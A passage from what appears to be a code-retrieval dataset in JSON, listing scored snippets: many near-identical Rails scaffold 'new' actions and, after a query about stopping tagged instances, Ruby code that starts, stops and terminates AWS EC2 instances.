"text": "def new\n @post211 = Post211.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post211 }\n end\n end",
"title": ""
},
{
"docid": "c8ff7590cd1269231320c4458634dfcc",
"score": "0.75307506",
"text": "def new\n @post203 = Post203.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post203 }\n end\n end",
"title": ""
},
{
"docid": "7cf770ed1923f4650eb37ffe93699758",
"score": "0.7530019",
"text": "def new\n @post83 = Post83.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post83 }\n end\n end",
"title": ""
},
{
"docid": "db92326bd33d29d119dd62c1597e2dd0",
"score": "0.7525382",
"text": "def new\n @post35 = Post35.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post35 }\n end\n end",
"title": ""
},
{
"docid": "fc4768f2b95ac2f1e058ca39548c93a1",
"score": "0.7524068",
"text": "def new\n @post356 = Post356.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post356 }\n end\n end",
"title": ""
},
{
"docid": "d3b7294034331d2bc7e6bb9551e79884",
"score": "0.7523798",
"text": "def new\n @post132 = Post132.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post132 }\n end\n end",
"title": ""
},
{
"docid": "3c6798d9f95f0bd8964825838b00d697",
"score": "0.7507576",
"text": "def new\n @post343 = Post343.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post343 }\n end\n end",
"title": ""
},
{
"docid": "dd8751f03e077a137f23850d94a5e1da",
"score": "0.7506564",
"text": "def new\n @post148 = Post148.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post148 }\n end\n end",
"title": ""
},
{
"docid": "1a1966bee71f742da88af735b9ac5435",
"score": "0.7505019",
"text": "def new\n @post151 = Post151.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post151 }\n end\n end",
"title": ""
},
{
"docid": "abcd70fcc75c2fc7e79aaffb98e7313a",
"score": "0.7500327",
"text": "def new\n @post56 = Post56.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post56 }\n end\n end",
"title": ""
},
{
"docid": "a4528395430a76c021ad84ff8b849e17",
"score": "0.75003046",
"text": "def new\n @post142 = Post142.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post142 }\n end\n end",
"title": ""
},
{
"docid": "70a317d98361bde9c99bd700221653c6",
"score": "0.7499412",
"text": "def new\n @post187 = Post187.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post187 }\n end\n end",
"title": ""
},
{
"docid": "5c78708a6c4f78890474ce4b96f6dad7",
"score": "0.7499115",
"text": "def new\n @post178 = Post178.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post178 }\n end\n end",
"title": ""
},
{
"docid": "bdcc5a08e0809a22d8bd343c194db780",
"score": "0.74933815",
"text": "def new\n @post177 = Post177.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post177 }\n end\n end",
"title": ""
},
{
"docid": "e93885fd8c23109ebeb468ee48508676",
"score": "0.749181",
"text": "def new\n @post234 = Post234.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post234 }\n end\n end",
"title": ""
},
{
"docid": "0592a482c7f71f579a5ae762b952cd1d",
"score": "0.74873453",
"text": "def new\n @post435 = Post435.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post435 }\n end\n end",
"title": ""
},
{
"docid": "53fdec0ae2f26c11670d6e8dc2ae60f5",
"score": "0.7486489",
"text": "def new\n @post283 = Post283.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post283 }\n end\n end",
"title": ""
},
{
"docid": "d491df46b1ace5e8ddd8cbf774612c4b",
"score": "0.7483337",
"text": "def new\n @post442 = Post442.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post442 }\n end\n end",
"title": ""
},
{
"docid": "0b391cd872740fbd493721a9f6540d1c",
"score": "0.74776375",
"text": "def new\n @post254 = Post254.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post254 }\n end\n end",
"title": ""
},
{
"docid": "a4dfcfaa0c1832fd25b3373a776c92cf",
"score": "0.7477457",
"text": "def new\n @post190 = Post190.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post190 }\n end\n end",
"title": ""
},
{
"docid": "905203ac6b3881d42267360c4974d7d7",
"score": "0.7477387",
"text": "def new\n @post100 = Post100.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post100 }\n end\n end",
"title": ""
},
{
"docid": "cea2a8806ce6c7888d26ce79df77b185",
"score": "0.74752456",
"text": "def new\n @post223 = Post223.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post223 }\n end\n end",
"title": ""
},
{
"docid": "672aee49073fc7a14b299ed4701961de",
"score": "0.74745435",
"text": "def new\n @post300 = Post300.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post300 }\n end\n end",
"title": ""
},
{
"docid": "44abbc9c0b1f76c5f944faea234bebec",
"score": "0.7473412",
"text": "def new\n @post170 = Post170.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post170 }\n end\n end",
"title": ""
},
{
"docid": "eb14806958bd4b9992ffbbbbab518698",
"score": "0.74718523",
"text": "def new\n @post298 = Post298.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post298 }\n end\n end",
"title": ""
},
{
"docid": "6527b5c3e6f93e076885b39d4dfa9cfe",
"score": "0.7471741",
"text": "def new\n @post189 = Post189.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post189 }\n end\n end",
"title": ""
},
{
"docid": "80fc2bc9a71e9c9397218922998a01d0",
"score": "0.74682647",
"text": "def new\n @post498 = Post498.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post498 }\n end\n end",
"title": ""
},
{
"docid": "e62b296ebb8876064567b3d315b105e9",
"score": "0.7466554",
"text": "def new\n @post153 = Post153.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post153 }\n end\n end",
"title": ""
},
{
"docid": "0509eb241332cbd5a971f7c72eac91ab",
"score": "0.7466",
"text": "def new\n @post80 = Post80.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post80 }\n end\n end",
"title": ""
},
{
"docid": "476ed03a1cbfc4365d495a2931846956",
"score": "0.74657583",
"text": "def new\n @post112 = Post112.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post112 }\n end\n end",
"title": ""
},
{
"docid": "b21d55b36b030eda4515d34db343a5cb",
"score": "0.74655163",
"text": "def new\n @post124 = Post124.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post124 }\n end\n end",
"title": ""
},
{
"docid": "aab3c52006dcc6848ad0fe6b1efa0655",
"score": "0.74647945",
"text": "def new\n @post373 = Post373.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post373 }\n end\n end",
"title": ""
},
{
"docid": "96abd287f878c50edd92e4798264cfbc",
"score": "0.74639267",
"text": "def new\n @post71 = Post71.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post71 }\n end\n end",
"title": ""
},
{
"docid": "a9365225f7852b70f1aff07aa770203e",
"score": "0.74631417",
"text": "def new\n @post467 = Post467.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post467 }\n end\n end",
"title": ""
},
{
"docid": "a2dc2cc65cbf5ea773ee4dde478338ac",
"score": "0.7461545",
"text": "def new\n @post137 = Post137.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post137 }\n end\n end",
"title": ""
},
{
"docid": "7c61c4ff5d82af646ab2ef157e68b293",
"score": "0.7460657",
"text": "def new\n @post167 = Post167.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post167 }\n end\n end",
"title": ""
},
{
"docid": "af3c1e5c7fe8d50a28de4a3482d09564",
"score": "0.7460363",
"text": "def new\n @post439 = Post439.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post439 }\n end\n end",
"title": ""
},
{
"docid": "cb3ab400158e85a4208024624ed483cc",
"score": "0.74599457",
"text": "def new\n @post259 = Post259.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post259 }\n end\n end",
"title": ""
},
{
"docid": "f78e77ec017c202339130313fafe19d8",
"score": "0.7457906",
"text": "def new\n @post42 = Post42.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post42 }\n end\n end",
"title": ""
},
{
"docid": "374bbe34d725533f785251219d9644f5",
"score": "0.74530333",
"text": "def new\n @post34 = Post34.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post34 }\n end\n end",
"title": ""
},
{
"docid": "3a3d88af2ad5e637f2666d96189fa531",
"score": "0.7449084",
"text": "def new\n @post111 = Post111.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post111 }\n end\n end",
"title": ""
},
{
"docid": "52e4d092384b5a8a261cb70c407c12b6",
"score": "0.74478436",
"text": "def new\n @post258 = Post258.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post258 }\n end\n end",
"title": ""
},
{
"docid": "f2566946171e499eb3aeccc9ddc59aa2",
"score": "0.7446284",
"text": "def new\n @post140 = Post140.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post140 }\n end\n end",
"title": ""
},
{
"docid": "25ac224a7dadaf28cf9e10a12922191a",
"score": "0.7446124",
"text": "def new\n @post84 = Post84.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post84 }\n end\n end",
"title": ""
},
{
"docid": "b94a391f1fc7a3612b6dbd4960932c99",
"score": "0.7445995",
"text": "def new\n @post175 = Post175.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post175 }\n end\n end",
"title": ""
},
{
"docid": "4e738344a22f455062b1bcd2ac38a5fe",
"score": "0.74392396",
"text": "def new\n @post115 = Post115.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post115 }\n end\n end",
"title": ""
},
{
"docid": "c53e4ac2579f2a9dddc9eaedd3bfef2d",
"score": "0.7438764",
"text": "def new\n @post376 = Post376.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post376 }\n end\n end",
"title": ""
},
{
"docid": "5e99e2759c583b0ecee9798de2737821",
"score": "0.74377704",
"text": "def new\n @post47 = Post47.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post47 }\n end\n end",
"title": ""
},
{
"docid": "f9e01b6ac4a8b4c4f33964ccdaa258e6",
"score": "0.74368685",
"text": "def new\n @post135 = Post135.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post135 }\n end\n end",
"title": ""
},
{
"docid": "cfe6e61c6e1c0351ac19fbb5694c334e",
"score": "0.74360883",
"text": "def new\n @post98 = Post98.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post98 }\n end\n end",
"title": ""
},
{
"docid": "be8345c964dc0c88088bde9b045fab1e",
"score": "0.7431328",
"text": "def new\n @post497 = Post497.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post497 }\n end\n end",
"title": ""
},
{
"docid": "aee9f45002b497f4957be288760868e5",
"score": "0.7430835",
"text": "def new\n @post51 = Post51.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post51 }\n end\n end",
"title": ""
},
{
"docid": "b727260d026e7ae07994c9b3a171e37b",
"score": "0.74297136",
"text": "def new\n @post73 = Post73.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post73 }\n end\n end",
"title": ""
},
{
"docid": "addf707c0e55c67de99182e241b95562",
"score": "0.7427966",
"text": "def new\n @post179 = Post179.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post179 }\n end\n end",
"title": ""
},
{
"docid": "b8e5257ee93067d60897d4e6c532071a",
"score": "0.7426636",
"text": "def new\n @post49 = Post49.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post49 }\n end\n end",
"title": ""
},
{
"docid": "b7dd5aa707a4a4d4af58941fbd0e5e95",
"score": "0.7426298",
"text": "def new\n @post207 = Post207.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post207 }\n end\n end",
"title": ""
},
{
"docid": "3882817cc75fd10641ed5117d271db9a",
"score": "0.74185234",
"text": "def new\n @post94 = Post94.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post94 }\n end\n end",
"title": ""
},
{
"docid": "b3360983999d487fba4da2af920a23eb",
"score": "0.7417947",
"text": "def new\n @post62 = Post62.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post62 }\n end\n end",
"title": ""
},
{
"docid": "a23e16c95bd57218967ba23ab6c5326d",
"score": "0.7413785",
"text": "def new\n @post347 = Post347.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post347 }\n end\n end",
"title": ""
},
{
"docid": "705ba69f90b5d87a9b2a1a041589e16d",
"score": "0.74136555",
"text": "def new\n @post114 = Post114.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post114 }\n end\n end",
"title": ""
},
{
"docid": "8a7fab48f4653801c5b6831919c4a3cf",
"score": "0.74123067",
"text": "def new\n @post325 = Post325.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post325 }\n end\n end",
"title": ""
},
{
"docid": "ee3c27fed0a8f660400303a6ea782f9f",
"score": "0.74079096",
"text": "def new\n @post166 = Post166.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post166 }\n end\n end",
"title": ""
},
{
"docid": "05ee5736d7d487440dfa713182624794",
"score": "0.7407051",
"text": "def new\n @post463 = Post463.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post463 }\n end\n end",
"title": ""
},
{
"docid": "70b1719d739d60bd4395682c1e847fc5",
"score": "0.740679",
"text": "def new\n @post52 = Post52.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post52 }\n end\n end",
"title": ""
},
{
"docid": "3a5e9f4ff9d29987343f9ab053448561",
"score": "0.74013835",
"text": "def new\n @post214 = Post214.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post214 }\n end\n end",
"title": ""
},
{
"docid": "a8d2ba1ae1efcdfc1b3603475325f870",
"score": "0.7400899",
"text": "def new\n @post104 = Post104.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post104 }\n end\n end",
"title": ""
},
{
"docid": "ee49c3f4f045ef242160f0bac3356036",
"score": "0.740037",
"text": "def new\n @post152 = Post152.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post152 }\n end\n end",
"title": ""
},
{
"docid": "cdf654cedf1c22f093ba64b966d86267",
"score": "0.7400123",
"text": "def new\n @post95 = Post95.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post95 }\n end\n end",
"title": ""
},
{
"docid": "dde3dad83c11f1c088d0ba459c9b7cab",
"score": "0.74000156",
"text": "def new\n @post123 = Post123.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post123 }\n end\n end",
"title": ""
},
{
"docid": "3079eb92872ec23b116cc083b0ee7bb8",
"score": "0.73996073",
"text": "def new\n @post171 = Post171.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post171 }\n end\n end",
"title": ""
},
{
"docid": "1d1f4c20258640955033a63163c15978",
"score": "0.7398819",
"text": "def new\n @post348 = Post348.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post348 }\n end\n end",
"title": ""
},
{
"docid": "af26de24f77cf80ae0987517f5209bd1",
"score": "0.73984945",
"text": "def new\n @post186 = Post186.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post186 }\n end\n end",
"title": ""
},
{
"docid": "d5f0967afe23c03fc50dda989428f627",
"score": "0.7392293",
"text": "def new\n @post438 = Post438.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post438 }\n end\n end",
"title": ""
},
{
"docid": "9dc147325eae2dfe63028022fd31ac8d",
"score": "0.7391477",
"text": "def new\n @post102 = Post102.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post102 }\n end\n end",
"title": ""
},
{
"docid": "ee184dbc583359aa13d4a3191c35fda8",
"score": "0.7390941",
"text": "def new\n @post345 = Post345.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post345 }\n end\n end",
"title": ""
},
{
"docid": "10aceb56bc496d27bb43e83d32af403b",
"score": "0.73842543",
"text": "def new\n @post457 = Post457.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post457 }\n end\n end",
"title": ""
},
{
"docid": "c8e5d74d43bdb72ec4b26fd643d02b03",
"score": "0.73840684",
"text": "def new\n @post244 = Post244.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post244 }\n end\n end",
"title": ""
},
{
"docid": "a3df0f5c97b9fc2c2e9d0927fb8b3e37",
"score": "0.738236",
"text": "def new\n @post37 = Post37.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post37 }\n end\n end",
"title": ""
},
{
"docid": "77a57f055a433632ce73a2f16b6569dc",
"score": "0.73819333",
"text": "def new\n @post494 = Post494.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post494 }\n end\n end",
"title": ""
},
{
"docid": "45784ff301fa111c178b309630f9a7d3",
"score": "0.7381617",
"text": "def new\n @post136 = Post136.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post136 }\n end\n end",
"title": ""
},
{
"docid": "1dbecd256ee6fb1a93e6a63f2e445a1b",
"score": "0.73805153",
"text": "def new\n @post344 = Post344.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post344 }\n end\n end",
"title": ""
},
{
"docid": "4a99d52727a44414059144081c34c8fe",
"score": "0.73789495",
"text": "def new\n @post144 = Post144.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post144 }\n end\n end",
"title": ""
},
{
"docid": "c7cb67034255d72ac559824be51ec03f",
"score": "0.73788315",
"text": "def new\n @post466 = Post466.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post466 }\n end\n end",
"title": ""
},
{
"docid": "fa75fb26e48560155a2a304d587708c6",
"score": "0.73785996",
"text": "def new\n @post208 = Post208.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post208 }\n end\n end",
"title": ""
},
{
"docid": "9e2f15b480c2592bcfa73ce7e380cbb9",
"score": "0.7377836",
"text": "def new\n @post46 = Post46.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post46 }\n end\n end",
"title": ""
},
{
"docid": "900b08d1950b3855ef2d83f29d022f3c",
"score": "0.7377084",
"text": "def new\n @post89 = Post89.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post89 }\n end\n end",
"title": ""
},
{
"docid": "c8608071649f94861a615d40c3d49716",
"score": "0.73765856",
"text": "def new\n @post173 = Post173.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post173 }\n end\n end",
"title": ""
},
{
"docid": "1c06dd155690ebf2e1a14dd453d964e4",
"score": "0.7376099",
"text": "def new\n @post353 = Post353.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post353 }\n end\n end",
"title": ""
},
{
"docid": "523940dbc7c0a196e9452cb394411c5d",
"score": "0.7374472",
"text": "def new\n @post440 = Post440.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post440 }\n end\n end",
"title": ""
},
{
"docid": "0968266b7a2954543547372b80e7362b",
"score": "0.7373168",
"text": "def new\n @post329 = Post329.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post329 }\n end\n end",
"title": ""
},
{
"docid": "e14495fca0d48ef9ca5508fa789ab05e",
"score": "0.73716444",
"text": "def new\n @post43 = Post43.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post43 }\n end\n end",
"title": ""
},
{
"docid": "391886d3bd22ec28f87ce3530502624e",
"score": "0.7368958",
"text": "def new\n @post247 = Post247.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post247 }\n end\n end",
"title": ""
},
{
"docid": "d3755bc9dc02072a2b8b916eea3e7b56",
"score": "0.7368365",
"text": "def new\n @post70 = Post70.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post70 }\n end\n end",
"title": ""
},
{
"docid": "1ace1f6fc43bb125e05bf78155065c65",
"score": "0.73681015",
"text": "def new\n @post225 = Post225.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post225 }\n end\n end",
"title": ""
}
] |
2298ff6b33fa4190cce14641087a749d
|
stop instances based on a tag name and value
|
[
{
"docid": "90015e9b38f59c47d7ba07b308f7f81c",
"score": "0.8337703",
"text": "def stop_instances_by_tag(tag_name, tag_value)\n get_instances_by_tag(tag_name, tag_value).reservations[0].instances.each do |i|\n @ec2.stop_instances(instance_ids: [i.instance_id])\n end\n end",
"title": ""
}
] |
[
{
"docid": "9876cadf701b0d0f9f1522753373d27d",
"score": "0.6596346",
"text": "def stop_instance(instance_id)\n instance_action :stop, instance_id\n end",
"title": ""
},
{
"docid": "8f62097039aac27ee43a4b958ff13ac6",
"score": "0.65530086",
"text": "def stop_instance instance\n @ec2.terminate_instances( [ instance[ :aws_instance_id ] ] )\n end",
"title": ""
},
{
"docid": "e0b860eafffbcf883f6bf9257bdb895a",
"score": "0.65307474",
"text": "def stop_instances(account,key,asg_name,type,n_instances,lock)\n (1..n_instances).each do\n stop_instance(account,key,asg_name,type,lock)\n end\n end",
"title": ""
},
{
"docid": "b0d3ff6fec4ec9d54a2cc2bbade3eff8",
"score": "0.64856124",
"text": "def stop_instances\n instance = @ec2ctrl.instance(\"#{@iid}\")\n instance.stop\n instance.wait_until_stopped\n puts instance.id + \" has been stopped successfully\"\nend",
"title": ""
},
{
"docid": "6c3be2f7487d9ba92f18e7724dd2df76",
"score": "0.64621943",
"text": "def stop_instance(instance)\n @ec2.stop_instances(instance_ids: [instance])\n end",
"title": ""
},
{
"docid": "5529fb09881425a12ffea0f2d0bdaa5f",
"score": "0.6460749",
"text": "def stop\n @ec2.instances.each do |inst|\n if inst.api_termination_disabled?\n @log.warn \"#{inst.id} cannot be terminated with ruby api !!!\"\n else\n @log.info \"terminating #{inst.id}\"\n inst.terminate\n @log.info \"done!\"\n end\n end\n end",
"title": ""
},
{
"docid": "436b1c9388b331f0c598b6d397971a38",
"score": "0.6436885",
"text": "def stop\n request(:post, \"/computing/instance/#{@uuid}/stop\")\n true\n end",
"title": ""
},
{
"docid": "b9b55ac27b9b7347047716d10e04dacd",
"score": "0.64238065",
"text": "def stop_instance instance\n unless @running.delete( instance ) \n raise RuntimeError, \"there is no instance #{instance} running\"\n end \n end",
"title": ""
},
{
"docid": "a5b6208239c9661668d96060cf1b833e",
"score": "0.6403861",
"text": "def terminate_instance!(o={})\n set_vars_from_options o\n vmrun(\"stop #{vmx_file}\")\n describe_instances\n end",
"title": ""
},
{
"docid": "7372176bc14dd9cafa421371f6836751",
"score": "0.63544625",
"text": "def stop_instance(user,key,asg_name,type,lock)\n instance_id=stop_policy(user,asg_name,type) \n if(instance_id!=nil) \n L.debug \"stopping instance for asg=#{asg_name} and user=#{user} with id=#{instance_id}\"\n Resque.enqueue(ASG::StopInstanceWorker,user,key,asg_name,instance_id,type,false,lock)\n else\n L.error \"stop policy could not find instances to stop for asg=#{asg_name} and user=#{user}\"\n end \n end",
"title": ""
},
{
"docid": "6baac48a6af00e292a84cbdbaf9b57c6",
"score": "0.6285727",
"text": "def stop_instances(account,asg_name,type,n_instances,lock)\n key=@am.get_credentials(account)\n @im.stop_instances(account,key,asg_name,type,n_instances,lock)\n end",
"title": ""
},
{
"docid": "71bcbd629ce686717386b0489d3f26c0",
"score": "0.61491877",
"text": "def terminate_instance!(o={})\n ec2(o).terminate_instances(:instance_id => o[:instance_id])\n end",
"title": ""
},
{
"docid": "877a3a053c063fcc21fc767de341abc0",
"score": "0.6104197",
"text": "def stop(**keyword_args); end",
"title": ""
},
{
"docid": "926315ca9a845ced2dde6fc1eba6ec22",
"score": "0.6080394",
"text": "def stop\n @ptimer.cancel if @ptimer\n self.class.instances.delete(@id)\n end",
"title": ""
},
{
"docid": "7529571c5debfdb38050d3ceda8e555f",
"score": "0.6040267",
"text": "def stop\n instance_action :stop\n end",
"title": ""
},
{
"docid": "0d6a9433743adf1cb8f1b4ee58816536",
"score": "0.6036724",
"text": "def stop instance_id\n params = {\n \"InstanceId.1\" => instance_id\n }\n\n response = @client.action \"StartInstances\", params\n\n Response::Return.new response.body\n end",
"title": ""
},
{
"docid": "851026dfe7d9b218b1d4317e662c3718",
"score": "0.6008294",
"text": "def stop(machine_spec)\n machines(machine_spec).each do |machine|\n Operations::Stop.new(machine).run\n end\n end",
"title": ""
},
{
"docid": "800e2306a759919ed6981fcf0c78721f",
"score": "0.59877473",
"text": "def stopInstance(cfLogicalId, stackSuffix)\n instId = getEc2InstId(cfLogicalId, stackSuffix)\n if instId.nil?\n puts \"Instance id for #{cfLogicalId} stack #{stackSuffix} was not found\"\n return\n end\n ids = [instId]\n @ec2Util.stopInstances(ids)\n @ec2Util.waitForInstanceNotRunning(instId)\n puts \"Instance #{instId} stopped\"\n end",
"title": ""
},
{
"docid": "e6fe25f3fc4f14992e783b96802ec9e4",
"score": "0.59327227",
"text": "def stop_instance(credentials, id)\n safely do\n client = new_client(credentials)\n if id =~ /^.*-S-0001/ # FW\n client.stop_efm(id)\n else\n # vserver or SLB (no way to tell which from id)\n begin\n client.stop_vserver(id)\n rescue Exception => ex\n #if not found, try stopping as SLB\n if not ex.message =~ /VALIDATION_ERROR.*/\n raise ex\n else\n begin\n client.stop_efm(id)\n rescue\n # if that fails as well, just raise the original error\n raise ex\n end\n end\n end\n end\n end\n instances(credentials, {:id => id}).first\n end",
"title": ""
},
{
"docid": "322ad4021cd5b33039426df21f26edb5",
"score": "0.592319",
"text": "def stop\n @stopped = 1\n end",
"title": ""
},
{
"docid": "1f5aa88689bd4fb1365ca63b45d1ed2e",
"score": "0.5917995",
"text": "def stop\n execute_only(:stop)\n end",
"title": ""
},
{
"docid": "3f3fa430998d802aa15de1a825373ff4",
"score": "0.59054744",
"text": "def terminate_instance!(instance_id=nil)\n # ec2.terminate_instances(:instance_id => instance_id)\n end",
"title": ""
},
{
"docid": "7ee6a59cd905828b3173eac8e733646d",
"score": "0.590042",
"text": "def stop_instances(ids)\n resp = @aws.stop_instances(\n instance_ids: ids,\n force: true\n )\n\n resp\n end",
"title": ""
},
{
"docid": "5634bee9123a01f3a2c25c2e88efb86f",
"score": "0.5895391",
"text": "def terminate(id) @ec2.terminate_instances(instance_id: id) end",
"title": ""
},
{
"docid": "70b46de8910f3b8c901c885d3ea21b91",
"score": "0.58838993",
"text": "def start_instances_by_tag(tag_name, tag_value)\n get_instances_by_tag(tag_name, tag_value).reservations[0].instances.each do |i|\n @ec2.start_instances(instance_ids: [i.instance_id])\n end\n end",
"title": ""
},
{
"docid": "b600c17d3243fb05c32f0c8428775c1c",
"score": "0.5881469",
"text": "def action_stop\n container.run_action(:kill)\n end",
"title": ""
},
{
"docid": "5c3e2b09fdbcf42cf6a4bacdf31b9600",
"score": "0.587558",
"text": "def stop! ids: nil, tags: nil, dom: nil, active: true\n f = Helpers.filter(ids: ids, tags: tags, dom: dom)\n a = Helpers.pending_or_waiting(active)\n return false if f.blank?\n\n Execute.task_popen3(*@override_a, f, a, \"stop\") do |i, o, e, t|\n return t.value\n end\n end",
"title": ""
},
{
"docid": "37d6b3548a89e442d675917873f54290",
"score": "0.5874101",
"text": "def stop_instances(aliases)\n stop_threads = []\n \n instance_items = aliases.collect{|instance_alias| rubber_instances[instance_alias]}\n instance_items = aliases.collect do |instance_alias|\n instance_item = rubber_instances[instance_alias]\n \n fatal \"Instance does not exist: #{instance_alias}\" if ! instance_item\n \n instance_item\n end\n\n monitor.synchronize do\n instance_items.each do |instance_item|\n cloud.before_stop_instance(instance_item)\n end\n end\n \n # Get user confirmation\n human_instance_list = instance_items.collect{|instance_item| \"#{instance_item.name} (#{instance_item.instance_id})\"}.join(', ')\n value = Capistrano::CLI.ui.ask(\"About to STOP #{human_instance_list} in mode #{Rubber.env}. Are you SURE [yes/NO]?: \")\n fatal(\"Exiting\", 0) if value != \"yes\"\n \n instance_items.each do |instance_item|\n logger.info \"Stopping instance alias=#{instance_item.name}, instance_id=#{instance_item.instance_id}\"\n \n stop_threads << Thread.new do\n env = rubber_cfg.environment.bind(instance_item.role_names, instance_item.name)\n\n cloud.stop_instance(instance_item)\n \n stopped = false\n while !stopped\n sleep 1\n instance = cloud.describe_instances(instance_item.instance_id).first rescue {}\n stopped = (instance[:state] == cloud.stopped_state)\n end\n end\n end\n \n print \"Waiting for #{instance_items.size == 1 ? 